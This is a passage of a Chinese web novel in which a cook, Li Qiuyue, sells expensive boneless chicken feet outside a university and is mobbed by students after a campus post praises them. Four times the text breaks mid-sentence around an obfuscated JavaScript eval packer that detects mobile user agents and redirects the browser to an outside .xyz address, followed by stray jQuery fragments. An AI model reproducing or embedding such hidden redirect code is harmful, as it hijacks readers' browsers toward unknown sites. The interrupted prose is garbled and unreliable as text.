酱糖料酒混合的芡粉水调出一小碗,姜丝辣椒末放到砧板的一角,两个灶口都燃着火焰,混了葱姜料酒的锅中开水不断翻滚,黎秋月把装了猪腰的漏勺往里面开水里一汆,便立刻放入提前准备好的冰水。 另一口油锅已经冒了浓烟,黎秋月让猪腰在冰水里泡着,一手关开水锅的火一手倒芡粉水入油锅,炒到起稠的状态后把姜丝辣椒和猪腰一起倒进去,短暂翻炒后直接出锅,撒葱花滴香油就能上桌。 炒猪腰的香味太过浓烈,黎秋月悄悄在厨房尝了一个,辣的哈次哈次,脆的咯吱咯吱,入口的细嫩更是点睛之笔,要不是想到这是下饭菜,黎秋月能直接就水吃完! 有肉没菜营养不均衡,黎秋月又翻出一个白菜心,跟鸡蛋一起打了个快手汤补充维生素。 “你们午休是半个小时还是一个小时?” 黎秋月用手机记下现在的时间,方便回头计算工时。 “半小时。” 两人做出了相同的选择,黎秋月点点头告诉他们微波炉在哪里,又当着他们的面设了闹钟,就去享受自己的午餐了。 “新年好呀,新年好呀……” 黎秋月几乎是崩溃着关掉了手机闹钟,很想问问父母当时到底在想些什么,竟然会用《新年好》做提示音! 下午两点五十五分,两个劳动力剔掉了最后一根鸡骨,黎秋月也没含糊,当场算钱转账。 “五个半小时,一共110,对吧。” 剔骨的效率比黎秋月想的还要低一些,不过黎秋月也有心理准备,知道两人没磨洋工,只是单纯的熟练度不够,也爽快的付了账。 “明天还是上午九点到,可以吗?” 两人看着绿信上的转账,毫不犹豫的点头。 黎秋月把今天新做的无骨鸡爪泡好,又单独装了半斤准备摆摊的凤爪给刘奶奶送去,本来是为了感谢老太太介绍的靠谱人选,结果刘奶奶一尝就停不下来,120的高价也没挡住她预定的心。 两人疯狂拉扯,最后刘奶奶以丰富的经验再次获胜,成功定下每天三斤的无骨凤爪。 “这半斤是我送您的,要是您给钱的话,预订的单子我可就不接了!” 见刘奶奶还想将送过去的凤爪算钱,黎秋月是真的生气了,小老太太见状也不敢多说什么,只是从厨房拿了袋砂糖橘出来,于是推辞和生气的人倒了个个儿,黎秋月最后拎着砂糖橘回了家。 “怎么少了这么多?” 看着一个半保温桶就装完了的鸡爪,黎秋月瞪大了眼睛。 她明明做了三十斤鸡爪……哦,对了,鸡爪骨头占一半的分量,十五斤送了一斤,买了三斤,去掉料汁只有十一斤。 不是保温桶太大,而是她做的太少。 “……摆摊应该也不寒酸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13982788|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 好歹也是十几斤的分量呢。 黎秋月厚着脸皮催眠自己,主要是十二个小时的浸泡时间是硬性要求,现在补救也晚了。 已经没了选择的黎秋月反倒平静下来,看着已经过了三的时针,开始思索要做点什么当晚饭,但脑子转来转去,想的还是早上的牛奶蘑菇鸡片汤。 那就做吧。 黎秋月不是个委屈自己的性子,确定时间还够,就在厨房里热火朝天的忙活起来。 早上没用完的蘑菇挑出来相对新鲜的,洗净切片放到锅里煮熟,这道汤里的蘑菇只能现切现煮,不然外表发黑倒是小事,关键风味会流失,成品的美味程度会直线下降。 除此之外,煮蘑菇的水也要越少越好,牛奶蘑菇鸡片汤的重点是牛奶,要是牛奶放少了,煮出来就是清汤光水的不伦不类。 蘑菇一熟就要倒牛奶,比例大概是十个蘑菇一斤奶,黎秋月直接倒了四盒奶下去,准备回头用这个汤解渴。 鸡胸肉切成大小不一的薄片,另起一口锅下黄油,融化后舀面粉进去炒成面酱,牛奶沸腾后就将面酱倒入其中,快速搅拌防止沉底,面酱牛奶均匀混合后倒入鸡片,加盐出锅。 倒出来的牛奶蘑菇鸡片汤显出漂亮的白色,黎秋月舀了一勺吹凉放到嘴里,立刻睁大了眼睛。 汤的口感浓而不稠,牛奶的香,蘑菇的鲜,鸡片的嫩融为一体,形成一种极为特殊的口感,都不需要费力咀嚼,汤水便顺着喉咙滑了下去,从食管到胃都带上了那甜鲜的香味。 这汤是东方的原料西方的做法,给黎秋月的感觉就像是民国时期穿了洋装的种花女子,并不显得格格不入,反倒因为文化碰撞带来全新的美感。 以后可以多做几次。 黎秋月喝了一碗下肚,将剩下的汤水倒进保温杯,准备到大学那边再喝。 天气越来越冷了,她穿的再厚,骑着小电驴跑二十多公里也会被吹得透心凉,就靠着这汤续命了。 黎秋月拧紧盖子,又开始收拾起摆摊的东西,其实也没多少要收的,桌子马扎打包的餐具,一双长筷加厨房的烘焙秤,加一块随时变内容的小白板招牌,再加上装凤爪的保温桶,没了。 “十一斤有点少,明天得多买点。” 黎秋月拎着保温桶准备出门,绿信那边的特别关注发来了信息。 【吃喝玩乐:快递员到了吗,我已经迫不及待想吃凤爪啦。】 黎秋月僵住了。 “叩叩叩——” “你好,是黎女士吗,我来拿贺兰女士的快递!” 请问一斤无骨凤爪能摆摊吗?在线等,急! 十分钟后。 【十五的月亮:快递员刚到,已经发出去了,快递单号xxxx】 五点五十八分,昌南大学门口的第三棵树下。 黎秋月坐在树边的石块上,面前的床上桌上摆着一个保温饭盒,旁边放着用快递盒改造的三角牌,上面的黑字很显眼。 【无骨凤爪,120全部带走,不分卖。】 18. 被围堵了 黎秋月的保温饭盒容量为1.5升,里面装的满满当当,她将剩下的所有鸡爪连着料汁都倒进了保温盒,这么点数量也懒得散卖,直接标了个总价等人包圆。 有人买是慧眼识珠,没人买就自己就能多个零嘴,坐着玩手机的黎秋月想的很开,准备等半小时还没客就回家。 喝了口热腾腾的牛奶蘑菇鸡片汤,黎秋月舒服的眯起了眼睛,发出一声满足的叹息后慢慢将眼睛睁开……哪来的人?! 黎秋月下意识的拧紧了保温盖。 “妹妹,你刚刚喝的是什么啊,闻起来好香。” 一个妆容精致的女孩语气温柔的问道,她是昌南大学的学生,按照年龄来算应该叫黎秋月一声姐姐,但黎秋月坐着不显身高,没化妆再加上这身要温度不要风度的打扮,女孩下意识就觉得黎秋月年纪比她小。 这个时间点进进出出的大学生很多,但黎秋月摆的摊子实在随意,很多人甚至没认出来这是个卖货的摊子,偶尔有几个停下脚步的,也被这个价钱给吓跑了。 什么鸡爪要120啊,马路对面那家灯火通明的精致小摊也卖无骨鸡爪,59.9能给三盒呢!还能自己挑口味! 直到黎秋月打开了保温杯盖,牛奶汤的奇特香味一下被风卷走,啪的一下冲着随机路人的鼻子甩过去,路人噌的就停下了,然后开始东闻闻西嗅嗅,试图找到香味的来源。 他发现黎秋月的时候,黎秋月刚好在喝汤,他不好打扰,就想着等黎秋月喝完再问,结果大学生看到他停在这里,还以为有什么热闹,凑过来以后闻到香味也不愿动,于是更多的人抱着看热闹的心思凑了过来。 也就黎秋月喝得快,不然她抬头就不是一个小圈,而是里三层外三层的人群了。 “我是卖无骨鸡爪的,这汤不卖。” 弄清前因后果后黎秋月也觉得有些好笑,但有些话还是要提前声明的。 “我喝的是牛奶蘑菇鸡片汤,具体做法是……” 做完声明黎秋月就大方的分享了菜谱,因为误会而聚集起来的人圈很快散开,只剩下五六个人还站在原地,其中一个就是首先发问的精致女生。 “请问还有事吗?” 黎秋月有些疑惑的问道,然后看到留下来的几人脸上出现了相似的纠结表情。 “这个无骨鸡爪可以便宜点吗?” 难得画了精致妆容出门的舒南琴犹豫了一会儿,终于厚着脸皮开口,摊主这么大方的跟他们分享了菜谱,她没什么表示实在过不去良心的坎,但120的无骨鸡爪实在是有点贵了…… 第一个人勇敢发声后,旁边徘徊的人也纷纷出声支援,黎秋月这才发现还没走的都是大学生,再想想自己大学时候的状态……得,这是免费拿了东西不好意思,想要花钱找补呢。 黎秋月也是从哪个年纪过来的,虽然短时间就被社会刷上了一层班味,但还是非常明白他们的心思—— “不行哦。” 拒绝还是要拒绝的,一个哦字算是黎秋月最大的温柔。 “鸡爪都是手工剔骨的,麻烦的很。” 黎秋月一边说一边打开了保温盒,酸辣的香气瞬间爆发出来,足足在空中持续两秒才被风吹散。 “里面大料也有不少,成本可高。” 黎秋月看着暗淡光线都挡不住的诱人鸡爪,琢磨着要不现在收摊算了,这些鸡爪做的太不容易,除了学习空间的那一口,她还没在现实中尝过呢。 “绿信到账120元~” 黎秋月正琢磨着吃完鸡爪以后的汁水怎么最大化的利用呢,就听到一个有点熟悉的数字,她僵硬的掏出手机。 哦嚯,鸡爪飞了。 “给我多套一层塑料袋。” 舒南琴看着鸡爪动了动喉咙,对自己的吃货属性已经绝望了,让摊主多套一个塑料袋算是增加成本的最后反抗。 “剩下的料汁也可以泡熟食,不过最多保存一天。” 黎秋月将打包好的鸡爪递给舒南琴,顺口多说了一句,至于听不听就是对方的事了。 最后一点爽口的鸡爪也化为了冰冷的金钱,黎秋月也没做无意义的停留,收东西上电动拧把手一气呵成,舒南琴还没进学校大门,黎秋月已经连人带车都不见了。 黎秋月做的很快,几个傻眼的大学生试图伸出尔康手,姿势摆了一半又收了回来,等了会儿确定摊主没有回来的意思后,便各自散开做自己的事情去了,只是心里都有个疑惑。 那个奇贵无比的鸡爪到底好不好吃? “好吃,实在是太好吃了!” 舒南琴被辣的吐着舌头喘气,却还是坚强的夹起了第五个鸡爪,旁边的室友实在是受不住香味,纷纷凑了过来。 “这个味道……” 舍友一号下手最快,顶着舒南琴的谴责的眼神夹了个鸡爪往嘴里塞,眼睛一下子就瞪圆了。 “有那么好吃……” 室友二号觉得一号的表现有点夸张,抄起鸡爪就往嘴里塞,让宿舍又多了一尊雕像。 “我能……” 室友三号试探的伸出筷子,舒南琴跟她对视两秒,面无表情的移开目光。 谁能拒绝狗狗眼看着你的女孩子呢。 “哇——” 室友三号也没撑住,吐出半个感叹词就成了木头,好一会儿才跟一号二号一起解锁,然后三个人的六只眼睛就盯住了打包盒。 “琴琴,这个鸡爪好好吃呀~” 室友一号的声音非常温柔,弄得舒南琴打了个寒战,眼睛里全是人设ooc的惊恐。 一号的人设可是冷库美女,连声音都自带冰碴的那种,最多根据情绪和关系在冰水到冰雕中转换,舒南琴第一次知道她的声音竟然还能是江南春水! “这个鸡爪120。” 舒南琴颤抖着重复了一遍价钱,希望这个不寻常的高价能把附身一号的不知名存在吓走,她们只是一个普普通通的大一女寝,妖魔鬼怪退!退!退! “有点贵啊……” 二号嘀咕着,舒南琴刚要高兴,却发现她的眼神却一直没离开保温盒。 “但很划得来。” 三号室友接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13982789|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了话,舒南琴绝望的闭眼,知道自己不可能独享美味了。 也怪她之前只想着减少损失,进门就问有没有人想吃凤爪。 她们宿舍经济情况一致,相处的也算融洽,又都对吃食感兴趣,所以有几条不成文的规定。 一、自己买了食物,要是想一个人独享的话,就不要问其他人吃不吃。 二、如果问了室友要不要吃,室友要吃的话,购买吃食的价格按照人数均摊,食物也要按照平均分配。 三、询问后室友拒绝,但中途想加入享受食物,食物主人不能拒绝,但不管食物有多少,剩下的食物依旧要按照人数平摊,价格却要按照最开始的购买价平分。 这三条规定是逐渐更新换代成现在的样子的,不过第三条从开学到现在还是第一次使用。 “快快快,三十块钱转过去了,快分鸡爪!” 眼见最后的退路也被堵死,舒南琴只能叹着气开始分配,鸡爪一人一次一只,配料一人一块,连汤都得尽量分的均匀。 这倒不是什么强迫症,主要是她们宿舍的补充规定:分配食物的人必须最后一个拿食物。 在涉及到自己的利益的时候,人们总是会更加重视。 一斤鸡爪就算带了汤水也没有多少,不过几分钟的功夫,宿舍的咀嚼声就变成了四个,然后变成了内容不同但情感相似的哀嚎。 “怎么就吃完了……” “我明明吃的很慢……” “为什么一下就没了啊……” …… 舒南琴看着剩下的汤汁,无比后悔自己没有要摊主的联系方式,这下好了,吃到了美味都不知道还有没有碰上第二次的机会。 死嘴,当时怎么不多问一句呢! “你们说,这汤能泡点别的吃吗?” 室友三号突然开口,她是南云的,一看到汤汁就想到了自家常做的蘸水,但尝了一口发现白嘴吃还是有些刺激过头。 舒南琴愣了愣,立马想起黎秋月的话。 “能!” 舒南琴话音一落,就看到一号室友搬出了泡面,二号室友拿出了盒饭,三号室友开始削苹果,她上上下下翻了一通,只找到四个馒头,还是她的晚餐和明天的早饭。 “一起吃呗,刚好凑凑品种。” 舒南琴正在思考要不要去食堂买点菜,就对上了二号室友的大笑脸,根本没犹豫就答应下来。 半小时后。 “我不行了,我要发个表白墙消化一下,你们呢。” 舒南琴鼓着肚子坐在椅子上,满脸都是饱食后的餍足,她怎么都没想到,自己竟然能一口气吃了三个苹果,两包泡面,一根鸭腿和一个馒头。 “一起发,记得做好信息隐藏哈。” 向来静悄悄的一号率先响应,二号和三号也跟着附议,于是今天的表白墙惨遭血洗,无数人谴责四人的深夜放毒! 这种时候发这种内容,居心何在? 道德在哪里? 良知在哪里? 无骨鸡爪的联系方式又在哪里?! 19. 红烧肉 黎秋月回家也没能闲着,先跟刘奶奶发微信让她帮着再找两个小时工,又匆匆处理起鸡爪来。 这批鸡爪是黎秋月下午新买的,为了第二天不重复零卖一斤鸡爪的搞笑场景,快递员前脚走,黎秋月后脚就去了批发市场,不多买些不是因为没钱,而是冰箱塞不下。 有十二个小时的浸泡底线在,黎秋月只能独自扛起大梁,硬是干到半夜,将最后一只无骨鸡爪也倒进料汁后才去休息,睡着前的最后一个念头就是希望刘奶奶那边的帮工能快快到来。 【人生长恨水长流:小黎啊,合适的人现在没有,最快也要下个星期才能上岗。(语音翻译)】 清晨的黎秋月本来还困得慌,硬是被这条信息吓清醒了。 说来说去,还是逃不过剔骨的命! “加个绿信吧,要是下次敲门没反应,你们就打绿信电话。” 黎秋月有些不好意思的对两人说道,她昨天睡得太晚,又赶早去批发市场进货,没忍住就睡了个回笼觉,要不是起来上厕所的时候想起自己雇了人,两位小时工还不知道要在门口等多久。 “好的。” “好。” 两人掏出手机加了黎秋月绿信,这次只在门口呆了两分钟,要是再碰上这种情况,那就不知道要等上多久了。 接下来又是剪指甲焯水过冰去骨的一 条龙,这次黎秋月拿了两件货回来,就算两个灶台都用上,也忙了一个多小时才将鸡爪全都处理完 只是这次黎秋月没在一直在旁边充当监工,而是拿了些鸡爪在客厅边看电视边剔骨,三人虽然依旧处于同一个空间内,但有了一道帘子挡着,双方觉得舒服许多。 不是每个打工人都喜欢当着老板的面工作,也不是每个管理者都喜欢盯着雇工干活。 黎秋月家里的餐厅和客厅是一起的,只是位于长方形的两边,帘子是昨晚黎秋月剔完鸡爪后忍着困意拉起来的,具体形象类似于以前拉根绳子晾晒被子,只是绳子有两米高,上面夹着两张1.8x2的珊瑚绒毯。 “春天到了,又到了动物们繁殖的季节……” 听着纪录片的经典台词,黎秋月庆幸自己戴了耳机,眼睛盯着电视的画面,手上一动一挑,脆骨的部分就跟鸡骨完全脱离。 倒不是不想看其他的影视节目,但不充钱能看的电影电视剧少的可怜,质量也不怎么样,同等条件下还不如看免费的纪录片。 电视屏幕很大,具体尺寸黎秋月也不知道,没被换钱的重要原因是屏幕的下半截显示画面的时候有一层黄光覆盖,虽然不太影响观看,却也形成了明显色差,二道贩子找了不少,最高也只肯给50。 “叮咚叮咚叮咚叮叮~” 改成默认铃声的手机边响边震,黎秋月还琢磨着是谁的电话,手机一翻过来—— 【骚扰电话。】 黎秋月有些无语的挂断,顺手加入黑名单,摘下耳机揉揉耳朵,又重新戴上点了继续播放,接着看狮子捕猎。 这个耳机是普通的耳罩头戴有线款,因为用的时间比较久,戴着并不太舒服,还破破烂烂漏音严重,但那句话怎么说来着? 最重的漏音都比最轻的声音外放好。 黎秋月想要保留更多的隐私又不想用手机,在电脑平板ipad都早就卖了的情况下,就只能忍受一点麻烦。 国家出品的节目果然有质量保证,黎秋月不知不觉就看到了中午,手上的凤爪也剔了大半。 “你们休息多久?” 黎秋月一边将准备料汁泡鸡爪,一边问两人。 “半小时。” 依旧是相同的选择,黎秋月也没说什么,定了闹钟把鸡爪放到冰箱就开始准备午饭。 早上忙的滴溜溜转,为了节省时间,只冲了一碗紫菜海艳汤配饭,虽然味道不错,但总觉得不像什么正经吃食,中午必须整点硬菜。 比如用清晨抢到的七层五花做个红烧肉。 五花肉切片,锅中不必放油,直接将肉倒下去翻炒到干燥泛黄,肉质紧缩,便将多余的油倒出,加酱油上色,盐糖调味,倒一勺清水,丢两块姜蒜进去焖烧,便只等收汁出锅。 这菜并没有什么固定的制式,喜欢硬的就少加点水,重口味的便多放一点酱,黎秋月的口味偏甜,所以她多加了一勺糖,出锅的红烧肉软而不油,黏糯的肉皮还带着微微的韧劲。 “小老板手艺真好。” 吃着莴笋的女子闻着空气中的甜香,低声对同伴说道。 “不然也不会雇我们。” 同伴咽下口里的豆干淡定接话。 黎秋月吃完大荤,满足的继续干活,时间飞速流逝,两个小时工这次待到了下午三点半。 “绿信到账120元。” 黎秋月爽快的结账,看着空荡荡的鸡爪的盆,开始思考明天挑战三件的可能性。 要不明天再让两人加个班? “小老板……” 临走的时候,两个女子有些迟疑的开了口。 “嗯?” 黎秋月有些迷惑的抬头。 “我们最多只能干到下午四点。” 四点半幼儿园就要放学,她们要去接小孩。 “好的。” 虽然不知道原因,但黎秋月还是点点头,并果断将三份挑战从日程中划掉。 两件挺好的,摆摊的鸡爪比昨天足足多出十几倍呢,不少了。 黎秋月将最后一个大碗放进冰箱,跟海鲜市场的卖家最后确定了一遍提货时间和地点,就开始收拾摆摊的东西了。 昨天去了趟农贸市场差点摆摊迟到,今天东西更多,不提前出发黎秋月心慌。 贺兰姐的快递直接放到巢丰的快递柜里,三斤的隔壁订单已经乘着中午送了过去,黎秋月点了一遍电动车上的摆摊工具,确定什么都不缺就拧着把手出发。 【要赶紧买个车。】 这是一路骑到昌南大学的黎秋月的最大感受。 风把人吹僵了倒是其次,主要是三十斤的保温桶在电动车上占据的空间太大,加上其他的零碎,黎秋月这一路可谓是叮铃哐当乒乒乓乓,一路上都有人行注目礼,要不是戴了全脸防风面罩,她可能半路就回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13989756|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家了。 实在是丢不起这个人。 你以为普通的人生无人在意,其实生活中处处都有摄像头! 好容易到达目的地,黎秋月把桌子撑开,小白板放好,其他的琐碎用品也一一归置,然后气沉丹田将三十多斤的保温桶放到桌上……好高,要是她用自己的身体,得踩个凳子才能看到里面。 上次卖糯米藕的地方自带台阶,她没注意到这个问题,回去得翻翻有没有矮一点的桌子,不然这么卖货她费劲。 至于现在……先凑合着来吧,她的体力条已经清空了,需要时间来恢复。 于是昌南大学旁再次出现了一个奇怪的摊子:桌子加保温桶足有一米六高,摊主整个人缩在后面玩手机,光源除了路灯就是充电宝上的小夜灯,写了信息的小白板还放在桌子旁边,非得低头才能看见: 【酸辣无骨鸡爪,120一斤,谢绝还价。】 因为保温桶太高风太大,气流又向上不想下,无骨凤爪的诱人香味根本飘不到行人的鼻子里,加上对面同款产品的对比,即使偶尔有人被吸引过来,也会被价格吓走。 黎秋月不怎么在意,甚至琢磨着明天可以把写了价格的纸张贴到保温桶上,这样就可以少带一个小白板。 “果然懒惰让人学会思考。” 越琢磨越觉得有可行性的黎秋月感叹一句,又开始思索其他减负小妙招。 舒南琴从出学校大门的那一刻就开始东张西望,鼻子也在努力的呼吸,希望能找到那位神秘摊主的踪迹。 一无所获。 不管是味道还是打扮,她都没有找到熟悉的存在。 “别伤心啦,对面那个摊子也是卖无骨鸡爪的,还有特价呢。” 二号室友安慰着舒南琴,却发现舒南琴的情绪更加低落。 “那家我们都吃过,跟昨天的有可比性吗?” 二号沉默了。 都不是一个量级的存在,怎么可能有可比性啊! “额……你看,那边有个好奇怪的摊子。” 二号绞尽脑汁的试图转移话题,眼睛转来转去,在不起眼的地方看到了被USB灯照着的保温桶。 “哎呀,别不高兴了,我们去看看嘛。” 二号半哄半强迫的把舒南琴拉过去,才发现保温桶后面还有个女孩,只是刚刚看过来的角度把人完全挡住了。 而视觉角度带来的影响还不至于此,比如二号凑近了才发现,桌子旁边还有块小白板,上面的文字堪称触目惊心。 这无骨鸡爪是金子做的还是银子做的?怎么敢卖这么贵! “妹妹,我终于找到你了!” 二号心里的槽吐到一半,就听到舒南琴激动的声音。 不好! 黎秋月正在思考减负的一百个小妙招,突然听到一个有点熟悉的称呼,抬头就对上一个张牙舞爪扑过来的人。 我的桶! 黎秋月唰的站起身,双手摁住桌子,胸口抵住保温桶,做好准备迎接冲击波的准备。 然后那个人就在离她桌桶五厘米的地方停了下来。 20. 篮球大队 “给我来一斤。” 冷静下来的舒南琴解释了前因后果,又试探性的问鸡爪能不能降价,得到否定的回答后就利落的下了单。 “好的。” 黎秋月的体力值还没恢复到将保温桶拿下来的程度,她踩着凳子准备去捞鸡爪,却忘了昌南的妖风威力十足,这身子又单薄的很,站上去没两秒就被吹得摇摇晃晃,看的舒南琴两人胆战心惊。 “啊——” “小心——” 两个女孩尖叫起来,旁边也响起焦急的提醒声。 原来是黎秋月松开保温桶边拿勺子的时候,冷不防一阵狂风吹来,本就不稳的重心终于失衡,直接从凳子上滑了下来,要不是及时控制了方向,一桶鸡爪连着桌子都得被带着往地上栽。 “我没事,就是勺子……” 黎秋月站直身子摆摆手,她刚刚算是半跳下来的,摇摇晃晃好一会儿却没摔着,就是勺子实在控制不住的脱了手,捡起来的时候已经不太干净了。 “……你们有湿巾吗?” 这漏勺是她专门带着来捞鸡爪的,另一个舀汤的勺子虽然也能用,但总归没有这个方便。 “……我用完了,你呢?” 舒南琴翻找半天,用希冀的小眼神看向室友。 “你们没事吧,我们刚刚看到这边好像有人摔了!” 一群大学生呼啦啦的冒了出来,为首的男声有点熟悉,似乎跟那个叫“小心”的是同一个人。 黎秋月摇摇头,他们就叽叽喳喳的聊了起来,三个女生听了好一会儿,才知道他们也是昌南大学的学生,刚打完篮球回来。 大学生们非常热心,满足自己的八卦欲后就帮忙把保温桶放到了地上,飘向高空的香气一下就冲进了众人的鼻子,也不知道从谁开始,所有人的喉结都开始上下滚动。 奇怪,刚刚怎么没觉得这么香呢 “你们还要鸡爪吗?” 黎秋月举起汤勺问两个女孩子,舒南琴虽然被这一连串的突发事故惊住,但在听到关键词的时候还是瞬间回神,然后猛猛点头。 “要,我要一斤,” 舒南琴说了自己的需求又指指室友。 “她要半斤,分开装。” 见黎秋月开始称重,舒南琴赶紧用手肘捅捅二号室友。 “我们去绿信上问问她们要不要。” 另外两个室友没有她们的好运气,只能打电话沟通了。 “刚刚不是说”我们先买了带回去,她们想要就再出来吗? 室友的话还没说完,就被舒南琴堵了嘴巴,见篮球大队还在看着黎秋月称重,没注意到她们的谈话才松了口气。 刚刚跟现在能是一样的情况吗! 之前这边除了她们连个停下的人都没有,那桶高的硬是一丝香气都闻不到,现在呢! 舒南琴敢保证,等篮球大队从香气中回神,第一件事就是下单! 要是不赶紧买完,待会儿还会有她们的份? 舒南琴可太知道大学生呼朋唤友的能力了! 室友二号总算反应过来,立马跟舒南琴分配好了通知对象。 “老板,再加两斤半的鸡爪。” 黎秋月一斤鸡爪还没装完,就听到舒南琴又下了订单。 “总共四斤,按照一斤一份分开装。” 在室友们都表示要一斤装的情况下,二号室友也追加了订单。 “好。” 黎秋月应了一声,随着勺子不断上上下下,空气中的辣味和酸味也越发的浓重,不少人被香气吸引过来,有些稀疏的人圈开始逐渐变得紧密。 ? 黎秋月装好鸡爪一抬头,就对上了比昨天还要密集的人群。 “你们是……” 黎秋月记得昌南治安挺好的啊。 “这个多少钱一斤?” 有人先开了口,后面的人也没再沉默下去,黎秋月感觉自己瞬间从寒风呼啸的路口到了下课的教室,耳边的声音很多,却一个都听不清。 最后解救黎秋月的,还是舒南琴和她的室友。 “蓝宝到账240~” “绿信到账240~” “老板,我们走了哈。” 三个声音同时响起,现场顿时静了下来,黎秋月抓住空隙报了价钱,又看到自己的小白板躺在地上,赶紧蹲下将其扶了起来。 再一抬头,就看到密集的人圈稀疏了好多。 ? 黎秋月不知道也不好奇发生了什么,见众人没有下单的意思,就坐着继续玩手机去了。 “能不能便宜点啊?” 再次听到相似的话,黎秋月都懒得开口,指了指小白板就继续刷手机去了。 有人不满黎秋月的嚣张态度,当场甩脸子走人,但更多的人还是试图通过各种话术让黎秋月降价,黎秋月开头还给些反应,后面实在懒得回应,直接把小白板放到了桌上,自己躲到了小白板后面。 篮球大队也不着急,就在旁边等待最后的结果,毕竟最坏的打算也就是原价购物,但要是砍价成功,他们不就能省一点了吗。 这边省一点,那边省一点,回头就又能吃个火锅了。 吵吵嚷嚷了一段时间,校门口突然传来许多脚步声,还有“在哪里”“说是门口”之类的不明声音,众人还没反应过来发生了什么,就听到一个兴奋的声音。 “就是这里,昨天深夜放毒的无骨鸡爪!” ? 黎秋月觉得自己今天从出摊就一直在冒问号。 “保温桶,小白板,120,都对上了!” 看着满脸兴奋挤进来的大学生,再抬头看看狂奔的大部队,李秋月又双叒叕的陷入迷茫。 所以有没有人能告诉她,这次又发生了什么? “这个……哎呀,一句两句的说不清,摊主你自己看。” 大学生主打的就是一个信任,在意识到自己的语言表达能力有限后,她直接将手机给塞了过来。 “对了,摊主你这边的鸡爪还有多少啊?” 黎秋月的大部分注意力都在帖子上,顺口答道: “还有十一斤。” 递手机的女孩转身就传达了数量: “还有九斤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14001376|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你们商量下怎么分,从我后面开始排队。” 后面的人听了也不耽搁,你一斤我一斤的开始商量,旁边砍价的人看的目瞪口呆,篮球大队更是急着说自己早就来了,但当时犹犹豫豫现在为时已晚,最后还是靠着帮抬保温桶的情分才拿到了一斤的份额。 “原来表白墙上还有这个?” 这次的人潮聚集非常简单——昨天深夜挂墙放毒的人再次出现,给出了摊位的地址特征和价格,并且用非常具有诱惑力的语言写出了鸡爪的美味,不少人看着看着就出了门,因为目的地相同汇聚在一起。 黎秋月一直以为表白墙就是字面意思,她又对情感纠葛不太感兴趣,所以基本没怎么看过,现在她才发现,自己大学似乎错过了很多有意思的东西。 “表白墙包罗万象,以前还有创业学姐拿它打广告的呢。” 就是被删的很快。 “不过最容易火爆起来的还是美食帖,尤其是学校附近的那种,能勾引到最多的急急国王。” 黎秋月噗嗤一声笑了出来。 “你的两斤装好了。” 这妹子说话贼有意思,就是容易让人染上不知名的口音,也不知道是哪来的,总不能是生长在各省交界处,然后哪里的方言都学了一点吧。 “谢谢嗷,够讲究。” 黎秋月这边的鸡爪都是称净重,桌上放着两个一样大的瓷碗,一个上面放着蒸东西的支架,勺子里的鸡爪要先在支架上晾一会儿,等上面沾着的料汁滴的差不多了才放到烘焙秤上去称重。 鸡爪称完还会送带着大料的汤汁,一般汤和爪的比例都是一比一,所以每次客人要一斤鸡爪,黎秋月总得用两个打包盒。 拿手机的女生鸡爪到手也不急着走,跟旁边的人嗑叨的热火朝天,见黎秋月疑惑的看过来,还能抽出嘴巴跟她解释。 “说好了一起回去,不然这么大的风走三步退两步,人家一会儿到家了,你还搁校门口玩滑冰呢。” 这显然是夸张的手法,但今天的风也真的吓人,在空中呜呜呜吹得跟狼嚎一样。 要不是没卷起多少沙尘,黎秋月跟大学生也没有建立多少信任,她都想让大学生直接付钱,她把保温桶留在这边让他们带回去自己分。 黎秋月的最后一个单子是篮球大队的,她在抹零的基础上少要了十块钱,作为把保温桶搬下来的劳务费,她并不太能接受善意,更习惯等价交换。 篮球大队什么都没说,只是先让人把鸡爪带走,留下一个人扫码付款,但这人的手机好像有点问题,怎么都扫不出来。 黎秋月也不着急,把手机放到地上让他慢慢尝试,自己收拾着摆摊的东西。 “还没好吗?” 黎秋月坐在电动车上问道,男孩把手机递给她,有些不好意思挠挠头。 “好了好了。” 